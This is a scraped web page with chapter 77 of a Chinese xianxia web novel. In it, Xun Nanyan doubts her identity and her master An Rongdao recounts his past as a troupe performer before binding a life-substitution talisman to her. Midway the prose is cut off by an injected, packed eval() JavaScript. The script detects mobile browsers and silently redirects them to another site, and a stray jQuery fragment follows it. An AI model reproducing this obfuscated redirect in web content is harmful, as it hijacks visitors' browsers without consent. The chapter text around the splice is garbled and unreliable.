默认冷灰
24号文字
方正启体

77. 凌云剑(四)

作者:三九酉本书字数:K更新时间:
    心声分作两道,一道提醒着她作为荀南烟的过往,一道则说她就是魏烟。


    她就是魏烟,原著中的女主。


    盘旋脑海中的声音越发杂乱,人影憧憧,叠在一起,搅得恶心。


    她到底是谁?


    荀南烟捂着疼痛得将要炸裂的头,跌撞进安容道怀中,头下意识狠狠砸向对方。


    闷哼从头顶传来,唤醒昏沉中的一丝清明,荀南烟伸手攥上他胸前的衣襟,虚弱开口,“我……我到底是谁?”


    抓在手中的衣料压挤出褶子,安容道沉稳的呼吸落在耳边,他伸手揽住她,轻叹一声,“你怔了。”


    “我……”


    额间覆上一指,清明同着灵气钻入体内,驱散脑中昏沉,荀南烟眼睛恢复些许神采,她试图在汪洋大海中抓住一叶扁舟,低声细语,“我……我是魏烟吗?”


    安容道动作轻柔地顺着她后背,“我不知。”


    “道印随神魂而动,倘若体内换了魂魄,道印不会留下。”


    安容道微顿,“五年前,我在你身上感受到了我的道印。”


    他指尖轻轻在荀南烟额上画过几笔,灵光轻点。


    荀南烟神识内视,观见了一枚悬浮的符文,浅蓝色的光在周围流动,温顺地缩在识海的角落中。


    她忽然想起原著的大结局,睫毛垂下,“若是身负三十二仙座道印,金丹期也能镇压天墟吗?”


    安容道静静看她,“是。”


    原来如此。


    长期盘旋在心中的疑惑在此刻解开,荀南烟下意识蜷缩起身体,靠在安容道怀里,声音闷闷,“我看见了魏烟。”


    “还有……”她停顿一下,“天命阁的阁主。”


    “魏烟是故意去锁妖塔的,她知道自己会失忆,她也知道我会来。”


    荀南烟吸吸鼻子,“她说她来自天墟,那我到底是谁?”


    属于荀南烟的记忆忽然变得模糊,以前种种恍然陌生,她成了过往情感的旁观者,甚至会分出一道心神去想——这些真的存在吗?


    安容道轻笑出声,“若是天墟,便不奇怪了。”


    荀南烟下巴蹭过他胸口,抬头望着他侧脸,“什么?”


    安容道低头,注视着他的眼睛黑沉乌亮,像极了某种小动物。


    “那里是天道的尽头。”


    安容道用手替她顺了顺头发,“天墟之中,发生什么事都不算奇怪。”


    除祟队每年都会有莫名疯掉的修士,修士们对其中发生的事避讳莫深,从万年前天阙建城直至如今,也是只敢镇守,不敢深入。


    那里的道紊乱,六千年前,有术士在天墟之中悟道,后写下《药命论》,由此有了药人和鬼丹。


    “《药命论》……”荀南烟蹙眉,“是在天墟中成书?”


    “是。”安容道平静回答,“所以天墟之中,无论发生何事,都很正常。”


    “天墟到底是什么地方?”


    “大道无尽,天墟便是无尽的尽头。归尘树下,便是天道的另一面。”


    荀南烟:“……”


    太玄了,不愧是你们修真界。


    “不必再去想这些。”安容道手掌落在她头顶,“天命阁的谷阁主如今尚在闭关。三年后的风云会,她必定会现身。”


    “届时再询问她便好。”


    “我只是……”


    沉重的感觉爬上眼皮,荀南烟呢喃着吐出最后一句话,“觉得我好像在被命运推着走……”


    呢喃声随着沉睡消弭。


    安容道替她别过耳边的绺发。


    “……睡吧。”


    *


    这觉睡得沉,荀南烟醒来时抬眼皮望了眼天色,屋外已黯淡下来,葱郁树木披上半边阴影。


    她甩甩头将梦中光怪陆离的景象驱逐,踉跄下了榻。


    头疼,还是头疼。


    脚下明明踩着实地,却如同行走在云端,轻飘飘,晕乎乎的。


    手扶上半掩的门框,屋外微风呼啦灌入,凉意攀上眉心。


    透蓝的灵光汇成一道流,从林叶间静静淌过,荧荧辉光,像柔软的绸缎,轻披在氤氲夜雾中。


    荀南烟站在打开的门后,半边脸映得透亮生光。


    漂在空中的浮尘迅速聚过来,夹着寒露的凉意从身边淌过。


    荀南烟在亮光中抬头,安容道站在屋前,五指间缠着几道透明的线,流光从丝线中溢出,隐隐勾勒出轮廓。


    这是在做什么?


    荀南烟跨过绕在她身边的光点,安容道余光瞥到身影,嘴角牵起,接着五指收拢,线上的流光随之而动。


    星河舞,哗啦从少女身边卷席而过,散又聚。


    流光如河,一声鲸鸣,庞大的幻影翻身而出,从荀南烟身前穿梭而过,散成蝶,翕动着翅膀落在发梢。


    荀南烟抬手去摸,灵光化作凉意流入指尖,“这是什么?”


    “幻灵戏。”


    修长的指节轻抬,银丝游走,聚出个小人,灵巧地抬胳膊跨步。


    安容道轻笑下,“千年前,我便是靠这个吃饭的。”


    他眉梢微弯,“不过现在,也少有人会这些了。”


    银丝在他指尖流动,随之变换的还有人影、动物,姿态万千,好不热闹。


    荀南烟看了会儿,“你上剑宗前,就是干这个的?”


    “是。”


    “我爹娘很早就走了。”


    安容道手上动作慢下来,“后来师父愿意给我口饭,我便跟着他学这些了。”


    “师父?”


    “嗯,当时戏班会收留些孤儿,”安容道停顿下,莞尔道,“不过我嘛……是卖身进去的。”


    黑眸中映出线光亮,思及往事,指上动作溘然一顿。


    纤长的睫毛垂下,扫过一小片阴影,“后来为了谋生,我就和他学这些了。”


    “像我这样的,我记得……大抵还有十来个。”


    荀南烟轻声道,“那你一定是最聪明的那个。”


    “不是。”


    他似乎是笑了下,“我是学的最慢的那个。”


    他从脑中搜索着以前的记忆,“那个时候,我学的很慢,师父他很生气。”


    又是一声轻笑,“所以我为此受了不少罚。”


    好像是跪了几天,挨了几道鞭子,然后再饿了上几顿。


    安容道有些记不清了。


    他应该是怕师父的,对方脾气不太好,动辄打骂弟子。


    “后来呢?”荀南烟起了好奇心。


    她还是第一次听安容道主动提起自己上剑宗前的事情。


    “后来……”悬着的丝线又重新动起来,在荀南烟的注视下变成了林中的小鹿。


    “后来多学几次,就学会了。”


    “幻灵戏的这道线,名唤纵尘线,就算是凡人,也能用这段线聚起灵气,不过干不了什么,就只是变变戏法哄小孩。”


    “不过,”安容道想起了什么,“常年接触这些的人,很容易聚灵成功,成为修士。”


    “你就是这样的吗?”


    “是。”安容道陷入回忆,“那时我偶然间练气成功……然后……”


    “以前这些人的下场,大多是做了药人,所以我跑了。”


    在逃跑的那个夜晚,他被师父发现了。


    “若是揭发我,师父便能得到称命司的奖赏。”


    荀南烟紧张起来,“那他……”


    “他……”


    安容道想起来了。


    那道要比自己高出许多的身影遮住了唯一的出路,又在近乎绝望时让开。


    “你走吧。”


    无疑于神音落在耳边,那时的安容道跪下来磕了三个头。


    他说什么来着?


    他说愿瑾记此恩,待来年相逢时再报。


    老头子的眼睛眯起,露出几分冷笑,“你若真能记得……罢了——赶紧走!”


    佝偻的背转过去,走远几步,忽然又停下。


    垂垂老矣的声音传过来,“小子。”


    安容道的脑中闪过许多画面,有他八岁那年在雪地里罚跪,有他九岁那年趴着给背上药,有他十岁那年第一次给那些世家公子表演,有他十一岁时被师父砸下的茶碗磕破额头……


    “小子。”


    记忆中那道身影背过来,浑浊眼里闪着晦暗不明的神情。


    “我真嫉妒你。”


    他卖身戏班那年四岁,师父四十三岁。


    他离开戏班那年十九岁,师父五十八岁。


    后来他在市井靠幻灵戏为生十余载,剑宗六年,天墟千年。


    那十五年不过是凌霄君漫长岁月中最微不足道的分毫。


    “他放了我。”


    自己留在了那里。


    纵尘线上世百态。


    纵尘线下土一捧。


    安容道神色怔怔,手上动作彻底停下。


    覆在记忆上的旧尘一点点被拭去,身影越发清晰。


    这是多少年前的事了?一千六百年?还是两千年?


    凌霄君


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970232|184694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有点忘了。


    时间对他来说太长了,长到他听见旁人对自己一生侃侃而谈时也会生出几分虚妄的错乱。


    安容道看着眼前的人,指尖递出一截纵尘线,“要试试吗?”


    “……啊?”荀南烟面露无措,线活了过来,丝丝缕缕缠上她指尖。


    轻勒进肉,荀南烟凝了灵力,小心翼翼地操控着丝线翻动,流光凝散。


    纵尘线为凡人所用,自然靠的不是灵力,而是些通俗易懂的法诀。


    安容道没纠正她的用法,静静看着她手上动作,由生疏转为渐渐大胆试探。


    纵尘线在她手中交织,所操纵之灵变换出万般模样。


    动作越发迅速娴熟,安容道低眉望着摆弄纵尘线的徒弟,她眼中含着对新奇事务的好奇。


    安容道忽然想起,若干年前,围着自己的那群小孩也是这副模样,眼睛亮亮的,像星星。


    “好玩么?”他轻声询问。


    荀南烟动作一顿,犹豫着点点头。


    安容道笑出了声。


    好看的眉眼弯起,指尖轻动,荀南烟手中的纵尘线分出一道,缠绕上他的指节。


    线在缘连。


    “我有时会想,自己身上是否也有纵尘线牵引。”安容道眉宇宁静地开口。


    缠绕跳动的丝线停住,荀南烟在灵光熠熠中侧头。


    月色如洗,光拢在安容道白袍上,称得他愈发像枚精心雕琢的白玉。


    对上墨黑的眼眸,荀南烟心下一松,“我……”


    她在安容道的注视下低头,指腹无意识搓揉纵尘线,“我只是……”


    “我只是怕像那本书上所记一样,道陨身亡。”


    荀南烟苦笑,“若我真是魏烟,若那真是我的宿命……”


    “不会。”


    温润的声音打断了她的话。


    “不会的。”


    荀南烟怔住,她看向安容道,“你……”


    男人眉眼弯下,“不会的。”


    他伸手抬袖,柔软的衣料从荀南烟手背拂过,他抓住荀南烟的手,手心翻过来。


    另一只手伸指,点在她掌心,一笔一画游走,温热中带着痒意。


    荀南烟下意识收手,被他抓住,“别动。”


    抬头便能看见安容道认真的神色,她呼吸不自主放缓,看着修长的手指在她掌心游走。


    最后一笔勾成,安容道收指,灵光凝聚,白色的符文在掌心显现,顷刻凝入皮肤。


    只是一瞬,却也够荀南烟看清。


    她认识的符咒不算多,其中便包括这种。


    誓灵符。


    以身替命。


    眼瞳猛然凝住,直直看着眼前眉眼含笑的人,“你——”


    安容道接上,“若那是你的宿命,为师便只能以身替命了。”


    荀南烟胸口好似堵住了某种石头,喃喃,“……为什么?”


    就因为她说自己怕死?


    安容道轻笑,“我本就该身死之人。”


    他捻起一缕纵尘线,线上凝着灵。


    指腹摩挲,线在顷刻间断裂,附在上面的灵散开,飘零四方,重回天地。


    “荀南烟,那不是你的宿命,你也不会死。”


    “你身上有三十二仙座的道印,足够剑宗力保,诡剑也不会希望你死。”


    荀南烟鼻子一酸,安容道的声音还在继续:


    “你……你也只是你自己。”


    “我只是怕我的过往,都是假的。”荀南烟轻声道。


    “不会。”


    安容道望她,“即使是另一个世界,尘缘骗不了人。”


    “你爱过他们,他们也爱过你。”


    荀南烟一哽,伸手抱住他,“安容道。”


    “嗯?”


    “为什么待我如此好?”


    安容道睫毛轻颤,手指从荀南烟后背的发间捋过。


    为什么呢……


    因为她身负三十二仙座道印,许是故人留下的唯一念想。


    因为她那句“我会尽我所能,帮你报仇”。


    “不是你说要帮我报仇吗?”他轻捧起荀南烟的脸,静静端详,“不是你说我们是亲人吗?”


    “我不会让你死的。”


    “荀南烟。”


    安容道低头,在她额间温柔落下一吻。


    “我会一直陪着你。”


    凌霄君自天墟归来,亲友俱亡,尘缘尽断,心魔缠身,百年寂寥。


    他不会让这根缘线断裂。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)